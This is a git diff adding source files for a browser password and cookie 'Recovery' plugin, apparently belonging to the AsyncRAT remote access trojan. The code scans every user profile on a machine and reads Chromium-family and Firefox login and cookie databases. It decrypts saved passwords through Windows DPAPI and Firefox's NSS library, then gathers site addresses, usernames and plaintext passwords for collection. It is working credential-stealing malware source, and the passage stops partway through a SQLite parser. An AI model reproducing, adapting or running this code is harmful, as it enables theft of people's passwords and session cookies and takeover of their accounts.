fcc in ffcs) + //{ + // Coocks.Append(string.Concat(new string[] + // { + // fcc.ToString(), + // "\n\n", + // })); + //} + //Coocks.Append("\n"); + + } + + selected++; + } + } + catch (Exception) + { + } + } + } + catch + { + } + } + + + public void Recovery(StringBuilder Pass) + { + try + { + foreach (string str in this.GetAppDataFolders()) + { + try + { + string[] browser = { + str + "\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", + str + "\\Roaming\\Opera Software\\Opera Stable\\Login Data", + str + "\\Local\\Vivaldi\\User Data\\Default\\Login Data", + str + "\\Local\\Chromium\\User Data\\Default\\Login Data", + str + "\\Local\\Torch\\User Data\\Default\\Login Data", + str + "\\Local\\Comodo\\Dragon\\User Data\\Default\\Login Data", + str + "\\Local\\Xpom\\User Data\\Default\\Login Data", + str + "\\Local\\Orbitum\\User Data\\Default\\Login Data", + str + "\\Local\\Kometa\\User Data\\Default\\Login Data", + str + "\\Local\\Amigo\\User Data\\Default\\Login Data", + str + "\\Local\\Nichrome\\User Data\\Default\\Login Data", + str + "\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data", + str + "\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data", + }; + + int selected = 0; + foreach (string b in browser) + { + if (File.Exists(b)) + { + SQLiteHandler sqliteHandler = new SQLiteHandler(b); + try + { + sqliteHandler.ReadTable("logins"); + } + catch + { + } + + switch (selected) + { + case 0: + Pass.Append("\n== Chrome ==========\n"); + break; + case 1: + Pass.Append("\n== Opera ===========\n"); + break; + case 2: + Pass.Append("\n== Vivaldi ===========\n"); + break; + case 3: + Pass.Append("\n== Chromium ===========\n"); + break; + case 4: + Pass.Append("\n== Torch ===========\n"); + break; + case 5: + Pass.Append("\n== Comodo ===========\n"); + break; + case 6: + Pass.Append("\n== Xpom ===========\n"); + break; + case 7: + Pass.Append("\n== Orbitum ===========\n"); + break; + case 8: + Pass.Append("\n== Kometa ===========\n"); + break; + case 9: + Pass.Append("\n== Amigo ===========\n"); + break; + case 10: + Pass.Append("\n== Nichrome ===========\n"); + break; + case 11: + Pass.Append("\n== Brave ===========\n"); + break; + case 12: + Pass.Append("\n== Yandex ===========\n"); + Pass.Append("Not Work for now!\n"); + break; + } + + for (int j = 0; j <= sqliteHandler.GetRowCount() - 1; j++) + { + string value = sqliteHandler.GetValue(j, "origin_url"); + string value2 = sqliteHandler.GetValue(j, "username_value"); + string value3 = sqliteHandler.GetValue(j, "password_value"); + string text = string.Empty; + if (!string.IsNullOrEmpty(value3)) + { + text = this.Decrypt(Encoding.Default.GetBytes(value3)); + } + else + { + text = ""; + } + Pass.Append(string.Concat(new string[] + { + value, + "\nU: ", + value2, + "\nP: ", + text, + "\n\n" + })); + } + + } + + selected++; + } + } + catch (Exception) + { + } + } + } + catch + { + } + } + + private string Decrypt(byte[] Datas) + { + string result; + try + { + Chromium.DATA_BLOB data_BLOB = default(Chromium.DATA_BLOB); + Chromium.DATA_BLOB data_BLOB2 = default(Chromium.DATA_BLOB); + GCHandle gchandle = GCHandle.Alloc(Datas, GCHandleType.Pinned); + Chromium.DATA_BLOB data_BLOB3; + data_BLOB3.pbData = gchandle.AddrOfPinnedObject(); + data_BLOB3.cbData = Datas.Length; + gchandle.Free(); + Chromium.CRYPTPROTECT_PROMPTSTRUCT cryptprotect_PROMPTSTRUCT = default(Chromium.CRYPTPROTECT_PROMPTSTRUCT); + string empty = string.Empty; + Chromium.CryptUnprotectData(ref data_BLOB3, null, ref data_BLOB2, (IntPtr)0, ref cryptprotect_PROMPTSTRUCT, (Chromium.CryptProtectFlags)0, ref data_BLOB); + byte[] array = new byte[data_BLOB.cbData + 1]; + Marshal.Copy(data_BLOB.pbData, array, 0, data_BLOB.cbData); + string @string = Encoding.UTF8.GetString(array); + result = @string.Substring(0, @string.Length - 1); + } + catch + { + result = ""; + } + return result; + } + + private string[] GetAppDataFolders() + { + List list = new List(); + string[] directories = Directory.GetDirectories(Path.GetPathRoot(Environment.SystemDirectory) + "Users\\", "*", SearchOption.TopDirectoryOnly); + for (int i = 0; i < directories.Length; i++) + { + DirectoryInfo directoryInfo = new DirectoryInfo(directories[i]); + list.Add(Path.GetPathRoot(Environment.SystemDirectory) + "Users\\" + directoryInfo.Name + "\\AppData"); + } + return list.ToArray(); + } + + [DllImport("Crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool CryptProtectData(ref Chromium.DATA_BLOB pDataIn, string szDataDescr, ref Chromium.DATA_BLOB pOptionalEntropy, IntPtr pvReserved, ref Chromium.CRYPTPROTECT_PROMPTSTRUCT pPromptStruct, Chromium.CryptProtectFlags dwFlags, ref Chromium.DATA_BLOB pDataOut); + + [DllImport("Crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool CryptUnprotectData(ref Chromium.DATA_BLOB pDataIn, StringBuilder szDataDescr, ref Chromium.DATA_BLOB pOptionalEntropy, IntPtr pvReserved, ref Chromium.CRYPTPROTECT_PROMPTSTRUCT pPromptStruct, Chromium.CryptProtectFlags dwFlags, ref Chromium.DATA_BLOB pDataOut); + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct DATA_BLOB + { + public int cbData; + + public IntPtr pbData; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct CRYPTPROTECT_PROMPTSTRUCT + { + public int cbSize; + + public Chromium.CryptProtectPromptFlags dwPromptFlags; + + public IntPtr hwndApp; + + public string szPrompt; + } + + [Flags] + private enum CryptProtectPromptFlags + { + CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1, + CRYPTPROTECT_PROMPT_ON_PROTECT = 2 + } + + [Flags] + private enum CryptProtectFlags + { + CRYPTPROTECT_UI_FORBIDDEN = 1, + CRYPTPROTECT_LOCAL_MACHINE = 4, + CRYPTPROTECT_CRED_SYNC = 8, + CRYPTPROTECT_AUDIT = 16, + CRYPTPROTECT_NO_RECOVERY = 32, + CRYPTPROTECT_VERIFY_PROTECTION = 64 + } + + } +} diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Chromium/ChromiumCookies.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Chromium/ChromiumCookies.cs new file mode 100644 index 0000000..cb7fb19 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Chromium/ChromiumCookies.cs @@ -0,0 +1,175 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; +using Plugin.Browsers.Chromium; + +namespace Plugin.Browsers.Chromium +{ + public class ChromiumCookies + { + + public class ChromiumCookie + { + public string Host { get; set; } + public string Name { get; set; } + public string Value { get; set; } + public string EncValue { get; set; } + public string Path { get; set; } + public DateTime ExpiresUTC { get; set; } + public bool Secure { get; set; } + public bool HttpOnly { get; set; } + public bool Expired { get; set; } + + public override string ToString() + { + return string.Format("Host: {1}{0}Name: {2}{0}Value: {8}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", Environment.NewLine, Host, Name, Value, Path, Expired, HttpOnly, Secure, EncValue); + } + } + + private static DateTime FromUnixTime(long unixTime) + { + DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc); + return epoch.AddSeconds(unixTime); + } + private static long ToUnixTime(DateTime value) + { + TimeSpan span = (value - new DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime()); + return (long)span.TotalSeconds; + } + + + public static List Cookies(string FileCookie) + { + + List data = new List(); + SQLiteHandler sql = new SQLiteHandler(FileCookie); + //if (!sql.ReadTable("cookies")) + //MessageBox.Show("Could not read Cookie Table"); + + int totalEntries = sql.GetRowCount(); + for (int i = 0; i < totalEntries; i++) + { + try + { + string h = sql.GetValue(i, "host_key"); + //Uri host = new Uri(h); + string name = sql.GetValue(i, "name"); + string encval = sql.GetValue(i, "encrypted_value"); + string val = Decrypt(Encoding.Default.GetBytes(encval)); + string valu = sql.GetValue(i, "value"); + string path = sql.GetValue(i, "path"); + + + bool secure = sql.GetValue(i, "is_secure") == "0" ? false : true; + bool http = sql.GetValue(i, "is_httponly") == "0" ? false : true; + + // if this fails we're in deep shit + long expiryTime = long.Parse(sql.GetValue(i, "expires_utc")); + long currentTime = ToUnixTime(DateTime.Now); + long convertedTime = (expiryTime - 11644473600000000) / 1000000;//divide by 1000000 because we are going to add Seconds on to the base date + DateTime date = new DateTime(1970, 1, 1, 0, 0, 0, 0); + date = date.AddSeconds(convertedTime); + + DateTime exp = FromUnixTime(convertedTime); + bool expired = currentTime > convertedTime; + + + + data.Add(new ChromiumCookie() + { + Host = h, + ExpiresUTC = exp, + Expired = expired, + Name = name, + EncValue = val, + Value = valu, + Path = path, + Secure = secure, + HttpOnly = http + }); + } + catch (Exception) + { + return data; + } + } + return data; + } + + + private static string Decrypt(byte[] Datas) + { + string result; + try + { + DATA_BLOB data_BLOB = default(DATA_BLOB); + DATA_BLOB data_BLOB2 = default(DATA_BLOB); + GCHandle gchandle = GCHandle.Alloc(Datas, GCHandleType.Pinned); + DATA_BLOB data_BLOB3; + data_BLOB3.pbData = gchandle.AddrOfPinnedObject(); + data_BLOB3.cbData = Datas.Length; + gchandle.Free(); + CRYPTPROTECT_PROMPTSTRUCT cryptprotect_PROMPTSTRUCT = default(CRYPTPROTECT_PROMPTSTRUCT); + string empty = string.Empty; + CryptUnprotectData(ref data_BLOB3, null, ref data_BLOB2, (IntPtr)0, ref cryptprotect_PROMPTSTRUCT, (CryptProtectFlags)0, ref data_BLOB); + byte[] array = new byte[data_BLOB.cbData + 1]; + Marshal.Copy(data_BLOB.pbData, array, 0, data_BLOB.cbData); + string @string = Encoding.UTF8.GetString(array); + result = @string.Substring(0, @string.Length - 1); + } + catch + { + result = ""; + } + return result; + } + [DllImport("Crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool CryptProtectData(ref DATA_BLOB pDataIn, string szDataDescr, ref DATA_BLOB pOptionalEntropy, IntPtr pvReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPromptStruct, CryptProtectFlags dwFlags, ref DATA_BLOB pDataOut); + + [DllImport("Crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool CryptUnprotectData(ref DATA_BLOB pDataIn, StringBuilder szDataDescr, ref DATA_BLOB pOptionalEntropy, IntPtr pvReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPromptStruct, CryptProtectFlags dwFlags, ref DATA_BLOB pDataOut); + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct DATA_BLOB + { + public int cbData; + + public IntPtr pbData; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct CRYPTPROTECT_PROMPTSTRUCT + { + public int cbSize; + + public CryptProtectPromptFlags dwPromptFlags; + + public IntPtr hwndApp; + + public string szPrompt; + } + + [Flags] + private enum CryptProtectPromptFlags + { + CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1, + CRYPTPROTECT_PROMPT_ON_PROTECT = 2 + } + + [Flags] + private enum CryptProtectFlags + { + CRYPTPROTECT_UI_FORBIDDEN = 1, + CRYPTPROTECT_LOCAL_MACHINE = 4, + CRYPTPROTECT_CRED_SYNC = 8, + CRYPTPROTECT_AUDIT = 16, + CRYPTPROTECT_NO_RECOVERY = 32, + CRYPTPROTECT_VERIFY_PROTECTION = 64 + } + + } +} diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/CredentialModel.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/CredentialModel.cs new file mode 100644 index 0000000..0cd93c0 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/CredentialModel.cs @@ -0,0 +1,10 @@ +using System; +namespace Plugin.Browsers +{ + public class CredentialModel + { + public string Url { get; set; } + public string Username { get; set; } + public string Password { get; set; } + } +} diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/Cookies/FFCookiesGrabber.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/Cookies/FFCookiesGrabber.cs new file mode 100644 index 0000000..8e9bf65 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/Cookies/FFCookiesGrabber.cs @@ -0,0 +1,131 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.Browsers.Firefox.Cookies +{ + public class FFCookiesGrabber + { + private static DirectoryInfo firefoxProfilePath; + private static FileInfo firefoxCookieFile; + + private static void Init_Path() + { + + firefoxProfilePath = GetProfilePath(); + if (firefoxProfilePath == null) + throw new NullReferenceException("Firefox does not have any profiles, has it ever been launched?"); + + firefoxCookieFile = GetFile(firefoxProfilePath, "cookies.sqlite"); + if (firefoxCookieFile == null) + throw new NullReferenceException("Firefox does not have any cookie file"); + + } + + + public static List Cookies() + { + Init_Path(); + List data = new List(); + SQLiteHandler sql = new SQLiteHandler(firefoxCookieFile.FullName); + if (!sql.ReadTable("moz_cookies")) + throw new Exception("Could not read cookie table"); + + int totalEntries = sql.GetRowCount(); + + for (int i = 0; i < totalEntries; i++) + { + try + { + string h = sql.GetValue(i, "host"); + //Uri host = new Uri(h); + string name = sql.GetValue(i, "name"); + string val = sql.GetValue(i, "value"); + string path = sql.GetValue(i, "path"); + + bool secure = sql.GetValue(i, "isSecure") == "0" ? false : true; + bool http = sql.GetValue(i, "isSecure") == "0" ? false : true; + + // if this fails we're in deep shit + long expiryTime = long.Parse(sql.GetValue(i, "expiry")); + long currentTime = ToUnixTime(DateTime.Now); + DateTime exp = FromUnixTime(expiryTime); + bool expired = currentTime > expiryTime; + + data.Add(new FirefoxCookie() + { + Host = h, + ExpiresUTC = exp, + Expired = expired, + Name = name, + Value = val, + Path = path, + Secure = secure, + HttpOnly = http + }); + } + catch (Exception) + { + return data; + } + } + return data; + } + + private static DateTime FromUnixTime(long unixTime) + { + DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc); + return epoch.AddSeconds(unixTime); + } + private static long ToUnixTime(DateTime value) + { + TimeSpan span = (value - new DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime()); + return (long)span.TotalSeconds; + } + + private static FileInfo GetFile(DirectoryInfo profilePath, string searchTerm) + { + foreach (FileInfo file in profilePath.GetFiles(searchTerm)) + { + return file; + } + throw new Exception("No Firefox logins.json was found"); + + + } + private static DirectoryInfo GetProfilePath() + { + string raw = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles"; + if (!Directory.Exists(raw)) + throw new Exception("Firefox Application Data folder does not exist!"); + DirectoryInfo profileDir = new DirectoryInfo(raw); + + DirectoryInfo[] profiles = profileDir.GetDirectories(); + if (profiles.Length == 0) + throw new IndexOutOfRangeException("No Firefox profiles could be found"); + + // return first profile, fuck it. + return profiles[0]; + + } + public class FirefoxCookie + { + public string Host { get; set; } + public string Name { get; set; } + public string Value { get; set; } + public string Path { get; set; } + public DateTime ExpiresUTC { get; set; } + public bool Secure { get; set; } + public bool HttpOnly { get; set; } + public bool Expired { get; set; } + + public override string ToString() + { + return string.Format("Host: {1}{0}Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", Environment.NewLine, Host, Name, Value, Path, Expired, HttpOnly, Secure); + } + } + } +} diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/FFDecryptor.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/FFDecryptor.cs new file mode 100644 index 0000000..b433624 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/FFDecryptor.cs @@ -0,0 +1,101 @@ +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace Plugin.Browsers.Firefox +{ + static class FFDecryptor + { + [DllImport("kernel32.dll")] + public static extern IntPtr LoadLibrary(string dllFilePath); + static IntPtr NSS3; + [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate long DLLFunctionDelegate(string configdir); + public static long NSS_Init(string configdir) + { + string str; + if (Directory.Exists("C:\\Program Files\\Mozilla Firefox")) + { + str = "C:\\Program Files\\Mozilla Firefox\\"; + } + else if (Directory.Exists("C:\\Program Files (x86)\\Mozilla Firefox")) + { + str = "C:\\Program Files (x86)\\Mozilla Firefox\\"; + } + else + { + str = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\"; + } + FFDecryptor.LoadLibrary(str + "mozglue.dll"); + FFDecryptor.NSS3 = FFDecryptor.LoadLibrary(str + "nss3.dll"); + return ((FFDecryptor.DLLFunctionDelegate)Marshal.GetDelegateForFunctionPointer(FFDecryptor.GetProcAddress(FFDecryptor.NSS3, "NSS_Init"), typeof(FFDecryptor.DLLFunctionDelegate)))(configdir); + } + + public static string Decrypt(string cypherText) + { + IntPtr ffDataUnmanagedPointer = IntPtr.Zero; + StringBuilder sb = new StringBuilder(cypherText); + + try + { + byte[] ffData = Convert.FromBase64String(cypherText); + + ffDataUnmanagedPointer = Marshal.AllocHGlobal(ffData.Length); + Marshal.Copy(ffData, 0, ffDataUnmanagedPointer, ffData.Length); + + TSECItem tSecDec = new TSECItem(); + TSECItem item = new TSECItem(); + item.SECItemType = 0; + item.SECItemData = ffDataUnmanagedPointer; + item.SECItemLen = ffData.Length; + + if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0) + { + if (tSecDec.SECItemLen != 0) + { + byte[] bvRet = new byte[tSecDec.SECItemLen]; + Marshal.Copy(tSecDec.SECItemData, bvRet, 0, tSecDec.SECItemLen); + return Encoding.ASCII.GetString(bvRet); + } + } + } + catch + { + return null; + } + finally + { + if (ffDataUnmanagedPointer != IntPtr.Zero) + { + Marshal.FreeHGlobal(ffDataUnmanagedPointer); + + } + } + + return null; + } + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int DLLFunctionDelegate4(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen); + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int DLLFunctionDelegate5(ref TSECItem data, ref TSECItem result, int cx); + public static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx) + { + IntPtr pProc = GetProcAddress(NSS3, "PK11SDR_Decrypt"); + DLLFunctionDelegate5 dll = (DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate5)); + return dll(ref data, ref result, cx); + } + + [StructLayout(LayoutKind.Sequential)] + public struct TSECItem + { + public int SECItemType; + public IntPtr SECItemData; + public int SECItemLen; + } + } + +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/Firefox.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/Firefox.cs new file mode 100644 index 0000000..d14ba3e --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/Firefox.cs @@ -0,0 +1,74 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +//using Plugin.Browsers.Firefox.Cookies; + +namespace Plugin.Browsers.Firefox +{ + public class Firefox + { + public bool isOK = false; + //public void CookiesRecovery(StringBuilder Cooks) + //{ + // try + // { + // List ffcs = Cookies.FFCookiesGrabber.Cookies(); + // foreach (FFCookiesGrabber.FirefoxCookie fcc in ffcs) + // { + // if (!string.IsNullOrWhiteSpace(fcc.ToString()) && !isOK) + // { + // Cooks.Append("\n== Firefox ==========\n"); + // isOK = true; + // } + // Cooks.Append(string.Concat(new string[] + // { + // fcc.ToString(), + // "\n\n", + // })); + // } + // Cooks.Append("\n"); + // } + // catch + // { + // } + //} + + public void CredRecovery(StringBuilder Pass) + { + try + { + + foreach (IPassReader passReader in new List + { + new FirefoxPassReader() + }) + { + foreach (CredentialModel credentialModel in passReader.ReadPasswords()) + { + if (!string.IsNullOrWhiteSpace(credentialModel.Url) && !isOK) + { + Pass.Append("\n== Firefox ==========\n"); + isOK = true; + } + Pass.Append(string.Concat(new string[] + { + credentialModel.Url, + "\nU: ", + credentialModel.Username, + "\nP: ", + credentialModel.Password, + "\n\n" + })); + } + } + } + catch + { + } + + } + + } +} diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/FirefoxPassReader.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/FirefoxPassReader.cs new file mode 100644 index 0000000..0d73c15 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/FirefoxPassReader.cs @@ -0,0 +1,129 @@ +using Newtonsoft.Json; +using System; +using System.Collections.Generic; +using System.Data.SQLite; +using System.IO; + +namespace Plugin.Browsers.Firefox +{ + class FirefoxPassReader : IPassReader + { + public string BrowserName { get { return "Firefox"; } } + public IEnumerable ReadPasswords() + { + string signonsFile = null; + string loginsFile = null; + bool signonsFound = false; + bool loginsFound = false; + string[] dirs = Directory.GetDirectories(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Mozilla\\Firefox\\Profiles")); + + var logins = new List(); + if (dirs.Length == 0) + return logins; + + foreach (string dir in dirs) + { + string[] files = Directory.GetFiles(dir, "signons.sqlite"); + if (files.Length > 0) + { + signonsFile = files[0]; + signonsFound = true; + } + + // find "logins.json"file + files = Directory.GetFiles(dir, "logins.json"); + if (files.Length > 0) + { + loginsFile = files[0]; + loginsFound = true; + } + + if (loginsFound || signonsFound) + { + FFDecryptor.NSS_Init(dir); + break; + } + + } + + if (signonsFound) + { + using (var conn = new SQLiteConnection("Data Source=" + signonsFile + ";")) + { + conn.Open(); + using (var command = conn.CreateCommand()) + { + command.CommandText = "SELECT encryptedUsername, encryptedPassword, hostname FROM moz_logins"; + using (var reader = command.ExecuteReader()) + { + while (reader.Read()) + { + string username = FFDecryptor.Decrypt(reader.GetString(0)); + string password = FFDecryptor.Decrypt(reader.GetString(1)); + + logins.Add(new CredentialModel + { + Username = username, + Password = password, + Url = reader.GetString(2) + }); + } + } + } + conn.Close(); + } + + } + + if (loginsFound) + { + FFLogins ffLoginData; + using (StreamReader sr = new StreamReader(loginsFile)) + { + string json = sr.ReadToEnd(); + ffLoginData = JsonConvert.DeserializeObject(json); + } + + foreach (LoginData loginData in ffLoginData.logins) + { + string username = FFDecryptor.Decrypt(loginData.encryptedUsername); + string password = FFDecryptor.Decrypt(loginData.encryptedPassword); + logins.Add(new CredentialModel + { + Username = username, + Password = password, + Url = loginData.hostname + }); + } + } + return logins; + } + + class FFLogins + { + public long nextId { get; set; } + public LoginData[] logins { get; set; } + public string[] disabledHosts { get; set; } + public int version { get; set; } + } + + class LoginData + { + public long id { get; set; } + public string hostname { get; set; } + public string url { get; set; } + public string httprealm { get; set; } + public string formSubmitURL { get; set; } + public string usernameField { get; set; } + public string passwordField { get; set; } + public string encryptedUsername { get; set; } + public string encryptedPassword { get; set; } + public string guid { get; set; } + public int encType { get; set; } + public long timeCreated { get; set; } + public long timeLastUsed { get; set; } + public long timePasswordChanged { get; set; } + public long timesUsed { get; set; } + } + } +} diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/IPassReader.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/IPassReader.cs new file mode 100644 index 0000000..bbf1f2f --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/IPassReader.cs @@ -0,0 +1,10 @@ +using System.Collections.Generic; + +namespace Plugin.Browsers +{ + interface IPassReader + { + IEnumerable ReadPasswords(); + string BrowserName { get; } + } +} diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/SQLiteHandler.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/SQLiteHandler.cs new file mode 100644 index 0000000..039f4c4 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/SQLiteHandler.cs @@ -0,0 +1,483 @@ +using System; +using System.IO; +using System.Text; +using Microsoft.VisualBasic; +using Microsoft.VisualBasic.CompilerServices; + +namespace Plugin.Browsers +{ + public class SQLiteHandler + { + public SQLiteHandler(string baseName) + { + if (File.Exists(baseName)) + { + FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1); + string s = Strings.Space((int)FileSystem.LOF(1)); + FileSystem.FileGet(1, ref s, -1L, false); + FileSystem.FileClose(new int[] + { + 1 + }); + this.db_bytes = Encoding.Default.GetBytes(s); + if (Encoding.Default.GetString(this.db_bytes, 0, 15).CompareTo("SQLite format 3") != 0) + { + throw new Exception("Not a valid SQLite 3 Database File"); + } + if (this.db_bytes[52] != 0) + { + throw new Exception("Auto-vacuum capable database is not supported"); + } + this.page_size = (ushort)this.ConvertToInteger(16, 2); + this.encoding = this.ConvertToInteger(56, 4); + if (decimal.Compare(new decimal(this.encoding), 0m) == 0) + { + this.encoding = 1UL; + } + this.ReadMasterTable(100UL); + } + } + + private ulong ConvertToInteger(int startIndex, int Size) + { + if (Size > 8 | Size == 0) + { + return 0UL; + } + ulong num = 0UL; + int num2 = Size - 1; + for (int i = 0; i <= num2; i++) + { + num = (num << 8 | (ulong)this.db_bytes[startIndex + i]); + } + return num; + } + + private long CVL(int startIndex, int endIndex) + { + endIndex++; + byte[] array = new byte[8]; + int num = endIndex - startIndex; + bool flag = false; + if (num == 0 | num > 9) + { + return 0L; + } + if (num == 1) + { + array[0] = (byte)(this.db_bytes[startIndex] & 127); + return BitConverter.ToInt64(array, 0); + } + if (num == 9) + { + flag = true; + } + int num2 = 1; + int num3 = 7; + int num4 = 0; + if (flag) + { + array[0] = this.db_bytes[endIndex - 1]; + endIndex--; + num4 = 1; + } + for (int i = endIndex - 1; i >= startIndex; i += -1) + { + if (i - 1 >= startIndex) + { + array[num4] = (byte)(((int)((byte)(this.db_bytes[i] >> (num2 - 1 & 7))) & 255 >> num2) | (int)((byte)(this.db_bytes[i - 1] << (num3 & 7)))); + num2++; + num4++; + num3--; + } + else if (!flag) + { + array[num4] = (byte)((int)((byte)(this.db_bytes[i] >> (num2 - 1 & 7))) & 255 >> num2); + } + } + return BitConverter.ToInt64(array, 0); + } + + public int GetRowCount() + { + return this.table_entries.Length; + } + + public string[] GetTableNames() + { + string[] array = null; + int num = 0; + int num2 = this.master_table_entries.Length - 1; + for (int i = 0; i <= num2; i++) + { + if (this.master_table_entries[i].item_type == "table") + { + array = (string[])Utils.CopyArray(array, new string[num + 1]); + array[num] = this.master_table_entries[i].item_name; + num++; + } + } + return array; + } + + public string GetValue(int row_num, int field) + { + if (row_num >= this.table_entries.Length) + { + return null; + } + if (field >= this.table_entries[row_num].content.Length) + { + return null; + } + return this.table_entries[row_num].content[field]; + } + + public string GetValue(int row_num, string field) + { + int num = -1; + int num2 = this.field_names.Length - 1; + for (int i = 0; i <= num2; i++) + { + if (this.field_names[i].ToLower().CompareTo(field.ToLower()) == 0) + { + num = i; + break; + } + } + if (num == -1) + { + return null; + } + return this.GetValue(row_num, num); + } + + private int GVL(int startIndex) + { + if (startIndex > this.db_bytes.Length) + { + return 0; + } + int num = startIndex + 8; + for (int i = startIndex; i <= num; i++) + { + if (i > this.db_bytes.Length - 1) + { + return 0; + } + if ((this.db_bytes[i] & 128) != 128) + { + return i; + } + } + return startIndex + 8; + } + + private bool IsOdd(long value) + { + return (value & 1L) == 1L; + } + + private void ReadMasterTable(ulong Offset) + { + if (this.db_bytes[(int)Offset] == 13) + { + ushort num = Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3m)), 2)), 1m)); + int num2 = 0; + if (this.master_table_entries != null) + { + num2 = this.master_table_entries.Length; + this.master_table_entries = (SQLiteHandler.sqlite_master_entry[])Utils.CopyArray(this.master_table_entries, new SQLiteHandler.sqlite_master_entry[this.master_table_entries.Length + (int)num + 1]); + } + else + { + this.master_table_entries = new SQLiteHandler.sqlite_master_entry[(int)(num + 1)]; + } + int num3 = (int)num; + for (int i = 0; i <= num3; i++) + { + ulong num4 = this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8m), new decimal(i * 2))), 2); + if (decimal.Compare(new decimal(Offset), 100m) != 0) + { + num4 += Offset; + } + int num5 = this.GVL((int)num4); + this.CVL((int)num4, num5); + int num6 = this.GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), decimal.Subtract(new decimal(num5), new decimal(num4))), 1m))); + this.master_table_entries[num2 + i].row_id = this.CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), decimal.Subtract(new decimal(num5), new decimal(num4))), 1m)), num6); + num4 = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num4), decimal.Subtract(new decimal(num6), new decimal(num4))), 1m)); + num5 = this.GVL((int)num4); + num6 = num5; + long value = this.CVL((int)num4, num5); + long[] array = new long[5]; + int num7 = 0; + do + { + num5 = num6 + 1; + num6 = this.GVL(num5); + array[num7] = this.CVL(num5, num6); + if (array[num7] > 9L) + { + if (this.IsOdd(array[num7])) + { + array[num7] = (long)Math.Round((double)(array[num7] - 13L) / 2.0); + } + else + { + array[num7] = 